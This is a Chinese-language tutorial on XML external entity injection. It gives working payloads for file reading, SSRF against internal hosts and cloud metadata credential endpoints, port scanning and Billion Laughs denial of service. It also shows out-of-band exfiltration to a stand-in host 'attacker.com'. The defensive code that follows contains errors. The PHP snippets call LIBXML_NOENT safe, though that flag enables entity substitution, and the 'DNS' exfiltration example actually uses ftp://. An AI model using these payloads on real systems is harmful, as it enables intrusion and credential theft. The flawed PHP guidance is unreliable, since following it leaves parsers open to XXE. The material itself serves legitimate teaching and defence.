XXE 外部实体注入与 XML 安全

概述

XXE（XML External Entity Injection，XML 外部实体注入）是一种利用 XML 解析器处理外部实体时的安全漏洞，使攻击者能够读取服务器文件系统、发起 SSRF 攻击、执行拒绝服务攻击等。XXE 在 OWASP Top 10 2017 中首次进入榜单并位列第 4 位，在 2021 版中虽被合并到"安全配置错误"类别，但仍是实际渗透测试中频繁出现的高危漏洞。

XXE 的根源在于：XML 规范允许通过 DTD（Document Type Definition，文档类型定义） 声明实体，而低版本或配置不当的 XML 解析器在解析外部实体时，会无条件跟随实体声明中的 URI 去获取资源，这就给攻击者留下了利用空间。

---

XML 基础与 DTD 声明

XML 基本结构

XML（Extensible Markup Language，可扩展标记语言）是一种用于存储和传输数据的标记语言。一个典型的 XML 文档结构如下：

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <user>admin</user>
    <password>123456</password>
</root>

什么是 DTD

DTD 用于定义 XML 文档的结构、元素、属性和实体。DTD 可以内嵌在 XML 文档中，也可以引用外部 DTD 文件。实体（Entity）是 DTD 中最重要的概念之一，它类似于宏或变量，在解析时会被替换为实际内容。

内部实体声明

内部实体是直接在 DTD 中定义并赋值的实体，解析时直接将实体引用替换为定义的值：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY x "这是内部实体">
]>
<root>&x;</root>

上述文档解析后，&x; 会被替换为字符串"这是内部实体"。

外部实体声明

外部实体引用外部文件或资源，解析器会从指定的 URI 读取内容并替换实体引用：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY ext SYSTEM "file:///etc/passwd">
]>
<root>&ext;</root>

SYSTEM 关键字后跟的 URI 可以是文件路径、HTTP URL 或 FTP URL。XXE 攻击正是利用了这一特性。

参数实体

参数实体只在 DTD 内部使用，以 % 开头，在 DTD 中被引用时使用 %实体名; 语法。参数实体常用于构造复杂的 DTD 结构或分层引用：

<!DOCTYPE foo [
    <!ENTITY % param "参数实体内容">
    <!ENTITY normal "引用了参数实体：%param;">
]>
<root>&normal;</root>

参数实体在 Blind XXE 攻击中扮演着关键角色，因为可以在外部 DTD 中定义参数实体来构造数据外带通道。

---

XXE 攻击原理与分类

攻击原理

XXE 攻击的核心机制是：应用程序接收并解析了用户可控的 XML 输入，且 XML 解析器未禁用外部实体解析功能。攻击者在 XML 中嵌入恶意 DTD 实体声明，诱导解析器读取本地文件或发起网络请求，并将结果反映在应用程序的响应中或通过带外通道传出。

攻击分类

分类	描述	利用条件
经典 XXE（In-Band XXE）	攻击结果可直接在应用程序响应中读取	应用程序返回解析后的 XML 内容
Blind XXE（OOB XXE）	无直接回显，需通过带外通道获取数据	解析器可发起 HTTP/DNS/FTP 请求
报错型 XXE（Error-Based XXE）	通过错误信息泄露文件内容	解析器错误信息中包含实体内容
XXE DoS	通过实体递归或指数膨胀耗尽服务器资源	解析器未限制实体展开深度和数量

---

经典 XXE：读取文件

当应用程序将 XML 解析结果回显到响应中时，攻击者可以直接读取服务器上的任意文件。

利用 file:// 协议读取文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
    <username>&xxe;</username>
    <password>test</password>
</root>

Windows 环境：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
]>
<root>&xxe;</root>

读取带特殊字符的文件

当目标文件包含 XML 保留字符（如 <、>、&）时，直接读取会导致 XML 解析错误。此时可以使用 CDATA 或将文件编码为 Base64 后读取。PHP 环境下可利用 PHP 包装器：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<root>&xxe;</root>

利用场景

• 读取 /etc/passwd、/etc/shadow 获取系统用户信息
• 读取应用程序配置文件获取数据库连接凭证
• 读取 web.xml、application.yml 等应用配置
• 读取 SSH 私钥、SSL 证书等敏感文件
• 读取源代码文件进行代码审计

---

XXE SSRF 攻击

XXE 不仅可以读取文件，还可以利用 XML 解析器发起服务器端请求，实现 SSRF（Server-Side Request Forgery，服务端请求伪造）。

基本内网探测

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "http://192.168.1.1/admin">
]>
<root>&xxe;</root>

云元数据攻击

在云环境中，可以通过 XXE 访问云服务提供商的元数据接口获取临时凭证：

AWS 元数据：

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">

Aliyun 元数据：

<!ENTITY xxe SYSTEM "http://100.100.100.200/latest/meta-data/ram/security-credentials/">

端口扫描

通过响应延迟和错误状态，攻击者可以逐个探测内网端口是否开放：

<!ENTITY scan1 SYSTEM "http://192.168.1.1:22">
<!ENTITY scan2 SYSTEM "http://192.168.1.1:80">
<!ENTITY scan3 SYSTEM "http://192.168.1.1:443">

如果某端口开放且返回内容能被解析，说明该端口存活；如果连接超时或拒绝，说明端口关闭或不可达。

SSRF 利用链

1. 探测内网存活主机和开放端口
2. 访问内网应用的管理接口（如 Redis、MySQL、Elasticsearch 等未授权服务）
3. 攻击内部路由器的管理接口
4. 利用 Docker 远程 API 创建恶意容器
5. 访问 Kubernetes API Server 获取 Pod/Secret 信息

---

Blind XXE 数据外带

当应用程序不返回 XML 解析结果时，经典 XXE 无法直接利用。此时需要使用 Blind XXE（盲注 XXE） 技术，通过带外（OOB，Out-of-Band）通道外带数据。

OOB XXE 基本原理

攻击者在自己的服务器上托管恶意 DTD 文件，利用参数实体发起 HTTP 请求将目标文件内容外带到攻击者服务器：

攻击者服务器上的恶意 DTD（evil.dtd）：

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

攻击者发送的恶意 XML 请求：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
    %dtd;
]>
<root>&exfil;</root>

这里的 % 是对 % 的 XML 实体编码，用于在 DTD 内部动态构建参数实体。注意 %file; 在 DTD 中会被替换为 /etc/passwd 的内容，因此最终请求 URL 为 http://attacker.com/?data=文件内容。

通过 HTTP 外带数据

HTTP 外带是最常见的 OOB 方式。攻击者监听自己的 VPS 服务器，等待数据回传：

# 使用 nc 监听
nc -lvp 80

# 或使用 Python 监听
python3 -m http.server 80

通过 DNS 外带数据

在某些 HTTP 出口受限的环境中，可以利用 DNS 查询进行数据外带：

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'ftp://%file;.attacker.com/x'>">
%eval;
%exfil;

数据被拼接到 DNS 查询域名中，攻击者通过 DNS 日志即可获取数据。每段 DNS 域名有长度限制（约 63 个字符），长文件需要分段外带。

通过 FTP 外带数据

某些 XML 解析器支持 FTP 协议，可以使用 FTP 外带数据，且 FTP 的出站流量往往比 HTTP 更少受到监控：

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'ftp://attacker.com/%file;'>">
%eval;
%exfil;

攻击者使用 nc 监听 FTP 控制端口（通常为 21），即可捕获文件名中包含的文件内容。

Blind XXE 检测方法

无法确定是否存在 XXE 漏洞时，可以通过带外检测进行确认：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY % xxe SYSTEM "http://attacker.com/probe">
    %xxe;
]>
<root>test</root>

如果攻击者服务器上收到请求，则可以确认目标存在 XXE 漏洞。

---

XXE DoS 攻击

XXE 可用于拒绝服务攻击，通过构造递归或指数膨胀的实体定义，消耗 XML 解析器的内存和 CPU 资源，导致服务崩溃或响应严重延迟。

Billion Laughs 攻击（指数实体膨胀）

经典的 Billion Laughs 攻击通过实体嵌套定义使输出呈指数级增长：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<root>&lol9;</root>

解析过程分析：

• lol 展开为 1 个 "lol"
• lol2 展开为 10 个 &lol; = 10 个 "lol"
• lol3 展开为 10 个 &lol2; = 100 个 "lol"
• ...
• lol9 展开为 10 亿个 "lol"，内存占用可达数 GB

DTD 递归膨胀

利用实体之间的相互递归引用，使解析器陷入无限循环：

<!DOCTYPE foo [
    <!ENTITY % x "<!ENTITY y '&x;'>">
    %x;
]>
<root>&y;</root>

其他 DoS 方式

• 外部实体大量引用：同时加载数百个远程 DTD 文件，耗尽网络带宽和连接池
• 大文件读取：让解析器读取 /dev/random（Unix）或 CON（Windows）等特殊设备文件，导致解析器阻塞
• URL 连接池耗尽：对同一个 URL 发起大量连接请求，耗尽服务器的出站连接池

---

各语言 XXE 防御

Java 防御

Java 中不同 XML 解析接口的防御配置方式不同，最常用的是 DocumentBuilderFactory：

DocumentBuilderFactory（SAX/DOM 解析）

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

// 禁用 DTD（完全禁用，彻底防御但可能影响功能）
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

// 如果业务需要 DTD，至少禁用外部实体
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

// 禁用外部连接
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

SAXParser

SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

XMLInputFactory（StAX 解析）

XMLInputFactory xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);

Python 防御

Python 标准库中的 xml.etree.ElementTree 在 Python 3.8+ 中已默认禁用外部实体解析，但建议使用专门的防御库：

使用 defusedxml（推荐）

from defusedxml import ElementTree as ET
from defusedxml import minidom
from defusedxml import sax

# 安全解析 XML
tree = ET.parse('untrusted.xml')
root = tree.getroot()

defusedxml 是 Python 官方推荐的安全 XML 解析库，它会主动拒绝包含外部实体和 DTD 递归膨胀的恶意 XML，同时会限制实体展开数量和嵌套深度。在 requirements.txt 中添加：

defusedxml>=0.7.1

手动禁用外部实体

from xml.etree.ElementTree import XMLParser, parse

# Python 3.8+ 默认已禁止外部实体
# Python 3.7- 需手动处理

PHP 防御

PHP 的 simplexml_load_* 和 DOMDocument 在较新版本中默认配置已有改善，但仍需显式设置：

libxml_disable_entity_loader（PHP 7.x 及以下）

<?php
// 禁用外部实体加载
libxml_disable_entity_loader(true);

// 安全加载 XML
$xml = file_get_contents('untrusted.xml');
$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);

// 使用 DOMDocument 时
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_NONET);
?>

PHP 8.0+ 注意事项

PHP 8.0 及以上版本移除了 libxml_disable_entity_loader() 函数，因为默认解析器 libxml2 >= 2.9.0 已默认禁止外部实体。防御重点变为使用正确的 LIBXML_* 标志：

<?php
// PHP 8.0+ 安全的解析方式
$xml = file_get_contents('untrusted.xml');

// 使用 LIBXML_NONET 禁止网络访问
$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NONET);

// 完全禁用 DTD
$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT | LIBXML_NONET);
?>

C# (.NET) 防御

.NET Framework 4.5.2+ 及 .NET Core 中，XmlDocument 默认已禁用 DTD。对于旧版本，需要手动配置：

// .NET Framework 4.5.2+ 安全方式
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null;  // 禁止解析外部资源
doc.LoadXml(xmlString);

// 使用 XmlReader（推荐，更安全）
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;  // 禁止 DTD
settings.XmlResolver = null;                       // 禁止外部资源
using (XmlReader reader = XmlReader.Create(new StringReader(xmlString), settings))
{
    // 安全地读取 XML
}

Node.js 防御

Node.js 使用 libxmljs 或 xmldom 时需注意配置：

// 使用 libxmljs（推荐）
const libxml = require('libxmljs');
const xml = '<?xml version="1.0"?>...';
const doc = libxml.parseXml(xml, {
    noent: false,     // 不展开实体
    nonet: true,      // 禁止网络访问
    dtdload: false,   // 不加载 DTD
    dtdvalid: false,  // 不验证 DTD
});

// 使用 xmldom（需注意默认配置）
const { DOMParser } = require('xmldom');
const doc = new DOMParser({
    errorHandler: { warning: () => {} },
    locator: {},
    // xmldom 0.6.0+ 支持
    // externalEntityHandler: null
}).parseFromString(xml);

---

最佳实践

1. 禁用 DTD（最彻底的防御）

如果业务场景不需要 DTD 功能，最安全的做法是完全禁用 DTD。几乎所有 XML 解析器都支持此配置：

// Java
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

# Python (defusedxml)
from defusedxml import ElementTree as ET
# defusedxml 默认拒绝所有 DTD

// C#
settings.DtdProcessing = DtdProcessing.Prohibit;

2. 禁用外部实体

如果业务确实需要 DTD，则至少禁用外部实体解析：

dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

3. 使用 JSON 替代 XML

在大多数 API 交互场景中，JSON 比 XML 更安全、更轻量。JSON 没有实体、DTD 等复杂特性，天然不受 XXE 影响：

// JSON 格式，无实体注入风险
{
    "username": "admin",
    "password": "123456"
}

迁移建议：

• 新开发的 API 优先使用 JSON 作为数据交换格式
• 旧系统逐步将 XML 接口迁移至 JSON
• 确实需要 XML 的场景做好防御配置

4. 输入验证与过滤

• 对 XML 内容进行白名单校验，拒绝包含 <!DOCTYPE> 和 <!ENTITY> 声明的输入（仅作为辅助手段，不可单独依赖）
• 限制 XML 文档大小，防止 DoS 攻击
• 限制 XML 解析的嵌套深度和实体展开数量

5. 最小权限原则

• XML 解析器以最低权限用户运行
• 限制解析器所在服务器的出站网络访问
• 敏感文件权限严格限制，使解析器无法读取

6. 保持库版本更新

各语言 XML 解析库的新版本通常默认配置更安全：

语言	安全版本	说明
Java	JDK 8u20+	默认对外部实体处理更严格
Python	3.8+	默认禁用外部实体
PHP	8.0+ (libxml2 >= 2.9.0)	默认禁用外部实体
.NET	Framework 4.5.2+ / .NET Core	默认禁用 DTD
libxml2	>= 2.9.0	默认不加载外部实体

---

总结

XXE 漏洞的根本原因是 XML 解析器在处理包含恶意 DTD 声明的 XML 文档时，未对实体替换和外部资源加载进行合理限制。攻击者可以通过 XXE 读取服务器任意文件、发起 SSRF 内网攻击、外带敏感数据，甚至导致拒绝服务。

防御 XXE 的核心原则是 "默认拒绝"：不需要 DTD 就完全禁用 DTD；需要 DTD 就禁用外部实体；能使用 JSON 就避免使用 XML。同时保持解析器库的版本更新，遵循最小权限原则，形成纵深防御体系。

在安全开发生命周期（SDL）中，应将 XXE 防御检查纳入代码审查和自动化安全测试流程，确保所有 XML 解析操作都经过了安全配置，从源头杜绝 XXE 漏洞的产生。